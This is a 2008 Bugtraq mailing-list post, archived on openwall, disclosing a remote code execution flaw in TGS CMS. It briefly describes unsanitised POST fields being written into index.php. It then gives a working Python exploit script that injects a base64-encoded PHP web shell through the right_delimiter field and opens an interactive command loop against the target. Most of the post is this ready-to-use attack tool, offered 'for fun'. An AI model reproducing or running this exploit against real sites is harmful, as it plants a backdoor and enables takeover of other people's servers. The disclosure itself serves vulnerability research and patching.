bugtraq - TGS CMS Remote Code Execution Exploit

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [thread-next>] [day] [month] [year] [list]

Date: 3 Aug 2008 18:21:43 -0000
From: 0in.email@...il.com
To: bugtraq@...urityfocus.com
Subject: TGS CMS Remote Code Execution Exploit

#			TGS CMS Remote Code Execution Exploit
#					by 0in
#				from Dark-Coders Group!
#				  www.dark-coders.pl
# Contact: 0in(dot)email[at]gmail(dot)com
# Greetings to:die_angel,suN8Hclf,m4r1usz,cOndemned,str0ke
# Dork:NULL - because "You cannot kill what you did not create" <- Duality by Slipknot
# Let's analyze the vuln:
# We've got the: /cms/admin/admin.template_engine.php 
# first line:"<?" 
# next 2-22 lines - comments
# 23: if ($_GET['option'] == "set_template") { 
# 24: $filename = "../index.php";
# 25: if ((@is_writeable($filename)) && ($handle = @fopen($filename, "w"))) {
# From 50 line to 88 we have definition of file content 
# 50: $content = '<?php // here programmer define the file to save in "../index.php"
# but...
# he.. don't think xD
# 77:$tgs_template->template_dir    = "'.$_POST['template_dir'].'"; 
# 78:$tgs_template->config_dir      = "'.$_POST['config_dir'].'"; 
# 79:$tgs_template->cms_dir		  = "'.$_POST['cms_dir'].'";
# 80:$tgs_template->left_delimiter  = "'.$_POST['left_delimiter'].'";
# 81:$tgs_template->right_delimiter = "'.$_POST['right_delimiter'].'";
# And.. boom!
# 89:	if (@fwrite($handle,$content)) {
# Just simply exploit for fun:
import httplib
import urllib
print "TGS CMS Remote Code Execution Exploit"
print "by 0in From Dark-Coders Group"
print "www.dark-coders.pl"
print 'Enter target:'
target=raw_input()
print 'Enter path:'
path=raw_input()
inject="\";error_reporting(0);eval(base64_decode(\"JGNtZD0kX0dFVFsnenVvJ107c3lzdGVtKCRjbWQpO2V4aXQ7\"));//"
exploit=httplib.HTTPConnection(target+':80')
headers={'Content-type':'application/x-www-form-urlencoded',"Accept":"text/plain"}
data=urllib.urlencode({'right_delimiter':inject})
exploit.request("POST",path+"/cms/admin/admin.template_engine.php?option=set_template",data,headers)
print exploit.getresponse().read()
while(1):
	cmd=raw_input("[shell@"+target+"]#")
	if(cmd=='exit'):
		quit()
	shell=httplib.HTTPConnection(target+':80')
	shell.request("GET",path+"/cms/index.php?zuo="+cmd)
	print shell.getresponse().read()